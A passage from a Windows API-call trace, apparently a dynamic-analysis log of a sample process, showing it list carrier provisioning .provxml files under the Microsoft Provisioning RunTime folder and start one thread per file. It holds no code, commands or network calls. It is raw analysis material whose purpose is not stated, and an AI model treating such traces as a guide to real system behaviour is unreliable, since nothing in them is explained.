Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" [0181.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0181.713] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="559__C~1.PRO")) returned 1 [0181.713] wcscmp (_String1="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.713] wcscmp (_String1="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f02658 [0181.713] wcscpy (in: _Dest=0x4f02658, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.713] wcscat (in: _Dest=0x4f02658, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.713] wcscat (in: _Dest=0x4f02658, _Source="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" [0181.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0181.714] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="55__CO~1.PRO")) returned 1 [0181.714] wcscmp (_String1="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.714] wcscmp (_String1="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f6ab60 [0181.714] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.714] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.714] wcscat (in: _Dest=0x2f6ab60, _Source="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" [0181.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0181.715] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="560__C~1.PRO")) returned 1 [0181.749] wcscmp (_String1="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.749] wcscmp (_String1="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f02908 [0181.749] wcscpy (in: _Dest=0x4f02908, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.749] wcscat (in: _Dest=0x4f02908, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.749] wcscat (in: _Dest=0x4f02908, _Source="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" [0181.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0181.750] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="561__C~1.PRO")) returned 1 [0181.750] wcscmp (_String1="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.750] wcscmp (_String1="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f02a60 [0181.750] wcscpy (in: _Dest=0x4f02a60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.750] wcscat (in: _Dest=0x4f02a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.750] wcscat (in: _Dest=0x4f02a60, _Source="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" [0181.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0181.751] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="562__C~1.PRO")) returned 1 [0181.751] wcscmp (_String1="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.751] wcscmp (_String1="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f027b0 [0181.751] wcscpy (in: _Dest=0x4f027b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.751] wcscat (in: _Dest=0x4f027b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.751] wcscat (in: _Dest=0x4f027b0, _Source="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" [0181.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f027b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0181.752] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="563__C~1.PRO")) returned 1 [0181.752] wcscmp (_String1="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.752] wcscmp (_String1="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.752] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f02bb8 [0181.752] wcscpy (in: _Dest=0x4f02bb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.752] wcscat (in: _Dest=0x4f02bb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.752] wcscat (in: _Dest=0x4f02bb8, _Source="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" [0181.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0181.753] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="564__C~1.PRO")) returned 1 [0181.753] wcscmp (_String1="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.753] wcscmp (_String1="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f02d10 [0181.753] wcscpy (in: _Dest=0x4f02d10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.753] wcscat (in: _Dest=0x4f02d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.753] wcscat (in: _Dest=0x4f02d10, _Source="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" [0181.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0181.754] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", cAlternateFileName="565__C~1.PRO")) returned 1 [0181.754] wcscmp (_String1="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.754] wcscmp (_String1="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x3057178 [0181.754] wcscpy (in: _Dest=0x3057178, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.754] wcscat (in: _Dest=0x3057178, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.754] wcscat (in: _Dest=0x3057178, _Source="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" [0181.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0181.755] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x0, dwReserved1=0x0, cFileName="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="566__C~1.PRO")) returned 1 [0181.755] wcscmp (_String1="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.755] wcscmp (_String1="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.755] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15c) returned 0x2fa2e00 [0181.755] wcscpy (in: _Dest=0x2fa2e00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.755] wcscat (in: _Dest=0x2fa2e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.755] wcscat (in: _Dest=0x2fa2e00, _Source="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" [0181.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0181.756] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="567__C~1.PRO")) returned 1 [0181.757] wcscmp (_String1="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.757] wcscmp (_String1="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15c) returned 0x2ff0e08 [0181.757] wcscpy (in: _Dest=0x2ff0e08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.757] wcscat (in: _Dest=0x2ff0e08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.757] wcscat (in: _Dest=0x2ff0e08, _Source="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" [0181.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0181.757] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="568__C~1.PRO")) returned 1 [0181.758] wcscmp (_String1="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.758] wcscmp (_String1="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x4f02fc0 [0181.758] wcscpy (in: _Dest=0x4f02fc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.758] wcscat (in: _Dest=0x4f02fc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All 